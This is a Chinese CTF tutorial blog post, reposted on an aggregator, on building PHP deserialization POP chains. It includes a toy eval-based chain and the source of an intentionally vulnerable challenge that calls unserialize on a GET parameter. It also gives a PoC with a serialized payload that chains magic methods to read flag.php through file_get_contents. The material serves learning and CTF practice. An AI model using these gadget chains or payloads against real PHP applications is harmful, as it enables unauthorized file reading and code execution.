CTF-PHP反序列化漏洞3-构造POP链

news2025/1/18 7:29:51

作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)

本专栏CTF基础入门系列打破以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~

目前ctf比赛,一般选择php作为首选语言,如读者不了解php的基本语法,请登录相关网站自学下基本语法即可,一般5-7天即可掌握基础。

本文是系列文章,知识点环环相扣,难度依次递增,请首先阅读之前的文章后,再阅读本文效果更加~

  1. CTF-PHP反序列化漏洞1-基础知识
  2. phpstudy本地环境搭建图文教程
  3. CTF-PHP反序列化漏洞2-利用魔法函数

本文目录

  • 1. POP链学习建议
  • 2. POP链的含义
  • 3. POP链代码示例
  • 4. POP链经典例题(加深理解)

1. POP链学习建议

实话实说,这部分的学习有些难度,特别对于没有编程基础的同学来说,有些难以理解。下面给出这部分学习的一些小tips:

  • 学习PHP Pop链需要具备一定的PHP编程和Web安全知识,并需要深入理解PHP的序列化机制和反序列化漏洞的原理。以下是一些学习PHP Pop链的建议:

    1. 学习PHP编程:学习PHP编程是学习PHP Pop链的基础,需要掌握PHP的基本语法和常用函数,了解PHP的面向对象编程和设计模式等。建议网上直接搜类似于菜鸟教程的网站学习5-7天即可。

    2. 学习Web安全知识:学习Web安全知识是理解PHP Pop链攻击原理的必要条件,需要了解Web应用的常见漏洞类型和攻击技术,如SQL注入、XSS、CSRF、反序列化漏洞等。此部分详见我的专题系列文章《WEB安全0基础入门系列》,我个人强推,建议看完我的系列文章,再上官网阅读官方文档。

    3. 深入理解PHP序列化机制:PHP序列化是PHP Pop链攻击的基础,需要深入理解PHP的序列化机制,包括序列化格式、序列化函数和反序列化函数等。本系列文章已详细讲解CTF-PHP反序列化漏洞1-基础知识

    4. 学习PHP Pop链实例:学习PHP Pop链需要了解实际攻击中的Pop链构造方法和技巧,可以参考一些已知的PHP Pop链实例,如ysoserial、PHPGGC等。本篇文章和本系列后续文章

  • 实践练习:实践是学习PHP Pop链的关键,可以通过搭建实验环境、编写漏洞利用代码等方式进行实践练习,提升攻击技能和经验。环境搭建,参考本系列文章 phpstudy本地环境搭建图文教程

2. POP链的含义

它是⼀种⾯向属性编程,常⽤于构造调⽤链的⽅法。

PHP反序列化攻击是一种常见的Web攻击,攻击者通过构造恶意的序列化数据,将其传递给目标服务器,从而导致服务器执行非预期的操作。而Pop链则是一种利用PHP反序列化漏洞的攻击方式,可以在未授权的情况下执行任意代码。

Pop链的基本思路是,通过反序列化攻击,构造出一条“链”,让程序依次执行其中的命令,最终实现攻击者想要的目的。Pop链通常是由多个对象序列化数据组成的,每个对象都包含着下一个对象的引用。当程序反序列化第一个对象时,就会自动解析其中的引用,并继续反序列化下一个对象,以此类推,最终执行攻击者希望执行的代码。
在这里插入图片描述

Pop链的构造需要一定的技术水平,需要了解PHP的序列化机制和反序列化漏洞的原理。同时,攻击者还需要了解目标系统的环境和配置,才能选择合适的攻击方式。因此,Pop链攻击是一种高级的Web攻击技术,需要攻击者具备较高的技术水平和经验。

在题⽬中的代码⾥找到⼀系列能调⽤的指令,并将这些指令整合成⼀条有逻辑的能达到恶意攻击效果的代码,就是pop链。

反序列化是通过控制对象的属性从⽽实现控制程序的执⾏流程,进⽽达成利⽤本身⽆害的代码进⾏有害操作的⽬的。

也可以这样理解,构造⼀条完整的调⽤链,这条调⽤链与原来代码的调⽤链⼀致,不过部分属性被我们所控制,从⽽达到攻击⽬的。构造的这条链就是POP链。

3. POP链代码示例

下面是一个简单的PHP反序列化Pop链代码:

<?php
class A {
    public $b;
    public function __destruct() {
        eval($this->b);
    }
}

class B {
    public $c;
    public function __destruct() {
        $this->c->__destruct();
    }
}

class C {
    public $cmd;
}

$cmd = 'echo "Hello, world!";';
$c = new C();
$c->cmd = $cmd;

$b = new B();
$b->c = $c;

$a = new A();
$a->b = serialize($b);

$pop_chain = unserialize($a->b);
?>

上述代码中,定义了三个类A、B和C,其中A类包含一个属性b,B类包含一个属性c,C类包含一个属性cmd。在A类的析构函数中,使用eval函数执行B类的属性c中的__destruct函数。在B类的析构函数中,调用C类的__destruct函数。最终,我们将C类的cmd属性设置为要执行的命令,并将B类序列化后赋值给A类的属性b,最终通过反序列化Pop链实现了执行指定命令的目的。

需要注意的是,这只是一个简单的示例代码,实际上构造Pop链需要更多的技术细节和实践经验。攻击者应该遵循合法的道德和法律规范,不得进行非法攻击和侵犯他人隐私的行为。

重点说明

POP链的构造就在于魔法函数的串联使用,在我的第一篇文章中有非常全面的总结和推荐文章,建议比对查看,事半功倍。

4. POP链经典例题(加深理解)

题目环境如何搭建,请参考之前的系列文章 phpstudy本地环境搭建图文教程
代码下方已提供,简单的建个php文件,和flag文件即可搭建题目环境。

  • 题目源码
<?php
//flag is in flag.php
error_reporting(1);


class Read {
  
 	public $var;
  
 	public function file_get($value)  //Read类里的危险函数,能读取$value的内容并返回
{	
  	$text = base64_encode(file_get_contents($value));   
 		return $text;
}
  
 public function __invoke(){     // Read类里对象被当成函数处理时⾃动调⽤,此魔法函数调用危险函数
 		$content = $this->file_get($this->var);
 		echo $content;
 }
}

class Show
{
 	public $source;
 	public $str;
  
 	public function __construct($file='index.php')  // 构造Show类实例时调用
 {
 		$this->source = $file;
 		echo $this->source.'Welcome'."<br>";
 }
  
 	public function __toString() // show类的对象被当作字符串处理时调⽤
 {
 		return $this->str['str']->source;
 }
  
 	public function _show()
 {
 		if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
 		die('hacker');
 } else {
 		highlight_file($this->source);
 }
 }
  
 	public function __wakeup() //show类的对象反序列化时⾃动调⽤
 {
 		if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
 		echo "hacker";
		$this->source = "index.php";
 }
 }
}


class Test
{
 	public $p;
  
 	public function __construct()  // 构造Test类实例时调用
 {
 		$this->p = array();
 }
  
 	public function __get($key) //获取Test类不存在或者不可访问的变量时⾃动调⽤
 {
 		$function = $this->p;
 		return $function();
 }
}


if(isset($_GET['hello']))
{
 unserialize($_GET['hello']);
}
else
{
 $show = new Show('pop3.php');
 $show->_show();
}
  • 解题思路
  1. 源码中魔法函数的作用详见备注,分析关键点如下
    • 反序列化唯一入口 __wakeup() //show类的对象反序列化时⾃动调⽤
    • 解题关键点 __wakeup() 里调用的函数 preg_match(参数A,参数B)
      参数B被当做字符串处理。这个流程会自动调用该类的魔法函数__toString()
    • 链终点危险函数__invoke()
  2. 分析完整思路如下:
// 1. 该题目中反序列调用的魔法方法,只找到一个方法。所以入口一定是Show#__wakeup
public function __wakeup()
 {
 if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
 echo "hacker";
 $this->source = "index.php";
 }
 }

// 2. preg_match 函数第⼆个参数为字符串类型,所以这⾥会将$this->source当作⼀个字符串处理。将触发触发 Show#__tostring()魔术⽅法
public function __toString() //对象被当作字符串处理时调⽤
 {
 return $this->str['str']->source;
 }

// 3. Show#__toString()里的$this->str['str']->source的变量操作,这里可以触发Test#__get($key)魔术方法
 public function __get($key) //获取不存在或者不可访问的变量时⾃动调⽤
 {
 $function = $this->p;
 return $function(); 
 }

// 4. 调⽤$function这个⽅法、函数,也就是将 $this->p 成员变量当作函数来调⽤,这⾥可以触发 __invoke()这个魔术⽅法
public function __invoke(){ //对象被当成函数处理时⾃动调⽤
 $content = $this->file_get($this->var); //调⽤file_get⽅法
 echo $content;
}

// 5. file_get⽅法可以读取任意⽂件,⽂件名为成员变量 $this->var
public function file_get($value)
{
 $text = base64_encode(file_get_contents($value));
 return $text;
}

最终构造的完整POP链(攻击链)如下:

hello -> Show__wakeup -> source -> Show.__toString -> (不存在属性)Test.__get() -> p ->Read.__invoke
// hello是Show的对象,source是Show的对象,str['str']是test的对象,p是Read的对象
  1. 构造POC
<?php
class Read{
    public $var='flag.php';
}
class Show
{
 public $source;
 public $str;
}
class Test
{
 public $p;
}

$show = new Show();
$test = new Test();
$read = new Read();

$test->p=$read;
$show->source=$show;
$show->str['str']=$test;
echo serialize($show);
?>
  
// 结果
// O:4:"Show":2:{s:6:"source";r:1;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:8:"flag.php";}}}}

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

总结
POP链:unserialize函数(变量可控)–>wakeup()魔术⽅法–>tostring()魔术⽅法–>get魔术⽅法–>invoke魔术⽅法–>触发Read类中的file_get⽅法–>触发file_get_contents函数读取flag.php

下篇文章将继续介绍pop链的相关题目,

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/500899.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

宽表 VS 多表关联,谁才是大数据分析的最佳选择?

各位数据的朋友&#xff0c;大家好&#xff0c;我是老周道数据&#xff0c;和你一起&#xff0c;用常人思维数据分析&#xff0c;通过数据讲故事。 前段时间和一个客户就数据中台搭建的一些问题进行了交流&#xff0c;其中讨论最多的是到底是用宽表来实现业务需求&#xff0c;…

Lecture 13(Preparation):Network Compression

目录 Network Pruning Knowledge Distillation Parameter Quantization Architecture Design Dynamic Computation 下面介绍五个network compression的技术。这五个技术都是以软体为导向的&#xff0c;在软体上面对network进行压缩&#xff0c;不考虑硬体加速部分。 Netwo…

springboot+vue校园宿舍管理系统

项目简介 分享一个SpringBootvue所做的一个项目&#xff0c;有需要的私信 1.项目描述 访问地址 http://localhost:8088/login.html?redirect_urlhttp://localhost:8087/myproject 超级管理员账户 账户名&#xff1a;admin 密码&#xff1a;123456 系统管理员账户 账户名…

【系统集成项目管理工程师】计算题专题一

一、决策树和期望货币值 1、项目经理向客户推荐了四种供应商选择方案。每个方案损益值已标在下面的决策树上。根据预期收益值&#xff0c;应选择设备供应商 A.供应商1B.供应商2C.供应商3D.供应商4 解题&#xff1a; 供应商 1&#xff1a;60% * 10000 &#xff08;-30000&am…

DDR基础

欢迎关注我的博客网站nr-linux.com&#xff0c;图片清晰度和&#xff0c;排版会更好些&#xff0c;文章优先更新至博客站。 DDR全称Double Data Rate Synchronous Dynamic Random Access Memory&#xff0c;是当代处理器必不可少的存储器件之一。本文关于DDR介绍的核心点如下&…

Hadoop 3:YARN

YARN简介 Apache Hadoop YARN &#xff08;Yet Another Resource Negotiator&#xff0c;另一种资源协调者&#xff09;是一种新的Hadoop资源管理器。 YARN是一个【通用资源管理系统和调度平台】&#xff0c;可为上层应用提供统一的资源管理和调度。 它的引入为集群在利用率、…

数据结构学习记录——堆的小习题(对由同样的n个整数构成的二叉搜索树(查找树)和最小堆,下面哪个说法是不正确的)

目录 习题一 习题二 习题三 答案区 解析区 习题一 习题二 习题三 习题一 一、下列序列中哪个是最小堆&#xff1f; .2&#xff0c;55&#xff0c;52&#xff0c;72&#xff0c;28&#xff0c;98&#xff0c;71 .2&#xff0c;28&#xff0c;71&#xff0c;72&#x…

排序(数据结构系列13)

目录 前言&#xff1a; 排序算法的引言&#xff1a; 1.插入排序 1.1直接插入排序 1.2希尔排序 2.选择排序 2.1直接选择排序 2.2堆排序 3.交换排序 3.1冒泡排序 3.2快速排序 3.2.1Hoare版 3.2.2挖坑法 3.2.3前后指针法 4.归并排序 5.排序总结 结束语: 前言&…

docker容器日常操作命令

1.docker日常命令 文章目录 1.docker日常命令1.1.运行一个容器&#xff08;run&#xff09;1.1.1.创建contos 7.6容器 1.2.查询容器列表(ps)1.3.容器命名&#xff08;--name&#xff09;1.4.容器删除命令&#xff08;rm&#xff09;1.5.容器命令&#xff08;inspect&#xff09…

【Vue2.0源码学习】变化侦测篇-Array的变化侦测

文章目录 1. 前言2. 在哪里收集依赖3. 使Array型数据可观测3.1 思路分析3.2 数组方法拦截器3.3 使用拦截器 4. 再谈依赖收集4.1 把依赖收集到哪里4.2 如何收集依赖4.3 如何通知依赖 5. 深度侦测6. 数组新增元素的侦测7. 不足之处8. 总结 1. 前言 上一篇文章中我们介绍了Object…

5 大分区管理器 - 最好的硬盘分区软件

分区是一个计算机术语&#xff0c;指的是在硬盘上创建多个区域&#xff0c;以允许操作系统和分区管理器软件有效且单独地管理每个区域中的信息。拥有大量计算机使用历史的人最有可能受益于多个分区。在硬盘中进行分区的好处之一是可以更轻松地将操作系统和程序文件与用户文件分…

node.js (fs文件系统模块,path路径模块,http模块web服务器)

node.js是js的后端运行环境 浏览器是js的前端运行环境 node.js是无法调用DOM和BOM和ajax等浏览器内置API node.js是一个基于ChromeV8引擎的JavaScript运行环境 目录 node.js可以做什么&#xff1f; node.js的学习路径 node安装 在node.js环境中执行javaScript代码 fs文…

Flask搭建api服务-生成API文档(Taobao/jd/1688API 调用文档说明)

API是给别人用的&#xff0c;就要告诉别人如何发现api&#xff0c;以及api的用途、名称、出参、入参&#xff0c;生成api文档的做法有好多种&#xff0c;本文选了一种最简单的方式。 核心就是通过app.view_functions 这个字典找到每个API 的endpoint所绑定的方法&#xff0c;然…

flutter的环境搭建步骤(MacBook Pro)

1.下载Flutter SDK包 地址&#xff1a;https://docs.flutter.dev/get-started/install/macos 2.配置环境变量 vim ~/.bash_profile //在打开的文件里增加一行代码&#xff0c;意思是配置flutter命令在任何地方都可以使用。 export PATH/app/flutter/bin:$PATH // 从新加载 sou…

JS 实现区块链同步和共识

JS 实现区块链同步和共识 之前实现了区块链和去中心化网络&#xff0c;这里实现区块链的同步和共识&#xff0c;不过本质上来说使用的的方法和 register & broadcast 的方法是一样的。 这个也是目前学习中倒数第二篇笔记了&#xff0c;最后两个部分学完&#xff0c;block…

机器视觉之线缆字符检测

在生活当中&#xff0c;随处可见与印刷字符有关的产品&#xff0c;比如&#xff1a;线缆上字符&#xff0c;键盘上的字符&#xff0c;衣物上的标签字符&#xff0c;电器上的字符等等。 而这些产品的外观由于字符在印刷时产生的一些瑕疵&#xff0c;如字符拉丝、移位、多墨、缺失…

身为管理层总是被下属怼,自己毫无威严,如何改变这样的现状?

身为一名管理层&#xff0c;被下属怼的感觉无疑是相当不爽的。毕竟&#xff0c;作为领导者&#xff0c;我们希望能够得到下属的尊重和信任&#xff0c;而不是被他们视为“摆设”。如果你也有类似的经历&#xff0c;那么不妨试试以下几种方法&#xff0c;来改变这种局面。 首先…

C++ Qt5.9学习笔记-事件1.5W字总结

⭐️我叫忆_恒心&#xff0c;一名喜欢书写博客的在读研究生&#x1f468;‍&#x1f393;。 如果觉得本文能帮到您&#xff0c;麻烦点个赞&#x1f44d;呗&#xff01; 近期会不断在专栏里进行更新讲解博客~~~ 有什么问题的小伙伴 欢迎留言提问欧&#xff0c;喜欢的小伙伴给个三…

物业管理系统【纯控制台】(Java课设)

系统类型 纯控制台类型&#xff08;没有用到数据库&#xff09; 使用范围 适合作为Java课设&#xff01;&#xff01;&#xff01; 部署环境 jdk1.8Idea或eclipse 运行效果 本系统源码地址&#xff1a;https://download.csdn.net/download/qq_50954361/87753361 更多系统…

YOLOv5结合BiFPN:BiFPN网络结构调整,BiFPN训练模型训练技巧

目录 一、BiFPN网络结构调整1、堆叠BiFPN2、调整网络深度3、调整BiFPN的参数 二、训练技巧和注意事项1、数据增强2、学习率调度3、优化器选择4、权重初始化5、模型选择6、Batch size的选择7、模型保存和加载8、注意过拟合和欠拟合问题 三、实验结果和分析1、数据集和评估指标2、…